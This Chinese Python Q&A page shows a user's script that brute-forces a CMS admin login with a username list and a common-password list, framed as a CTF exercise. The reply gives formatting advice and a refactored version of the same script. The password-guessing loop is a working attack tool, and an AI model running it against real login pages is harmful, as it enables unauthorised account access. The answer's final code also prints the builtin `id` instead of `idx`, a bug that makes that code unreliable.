我怎样才能把它们打印得更漂亮呢?

2024-09-27 00:22:01 发布

您现在位置:Python中文网/ 问答频道 /正文

我使用Python为CTFs创建了一个WebBruteForce项目。我跑了

My Project Outputs

正如你所看到的,出了问题。它不是常规的。我怎样才能把它们打印得更漂亮?这是我的密码:

try:
    try:
        import requests
    except:
        print("You have to install \"requests\" via pip")
 
    header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username = open("username.txt","r")
    username_content = username.read()
    username.close()
 
    password = open("common10k.txt","r")
    password_content = password.read()
    password.close()
 
    id=0
 
    print("=====================================================================")
    print("ID       Username          Password          Status_Code       Length")
    print("=====================================================================")
 
    for u in username_content.splitlines():
        for p in password_content.splitlines():
            url = "http://10.10.255.177/simple/admin/login.php"
            data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
            sonuc = requests.post(url=url,data=data,headers=header)
            id+=1
            print(f"{id}        {u}             {p}            {sonuc.status_code}             {len(sonuc.content)}")
 
except KeyboardInterrupt:
    print("Exiting...")

(这些IP地址等用于CTF)


Tags: txtidurlreaddatausernamepasswordopen
1条回答
网友
1楼 · 发布于 2024-09-27 00:22:01

您可以指定格式的大小,内容将填充空格

# header
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")

count = 0

for u in username_content.splitlines():
    for p in password_content.splitlines():
        url = "http://10.10.255.177/simple/admin/login.php"
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        count += 1
        print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

更多

  • 不要使用id内置关键字

  • with读取文件,您不需要考虑关闭它

    with open("username.txt", "r") as username:
          username_content = username.read()
    
  • 或者用pathlib读它

    from pathlib import Path
    username_content = Path("username.txt").read_text()
    
  • 您可以使用itertools.product来使用一个for-loop

    for u, p in product(username_content.splitlines(), password_content.splitlines()):
    
  • 使用enumerate自动生成count

    for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):
    

最终代码

try:
    try:
        import requests
        from pathlib import Path
        from itertools import product
    except:
        print("You have to install \"requests\" via pip")

    url = "http://10.10.255.177/simple/admin/login.php"
    header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username_content = Path("username.txt").read_text().splitlines()
    password_content = Path("common10k.txt").read_text().splitlines()

    print("=" * 70)
    print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
    print("=" * 70)

    for idx, (u, p) in enumerate(product(username_content, password_content)):
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

except KeyboardInterrupt:
    print("Exiting...")

相关问题 更多 >

    热门问题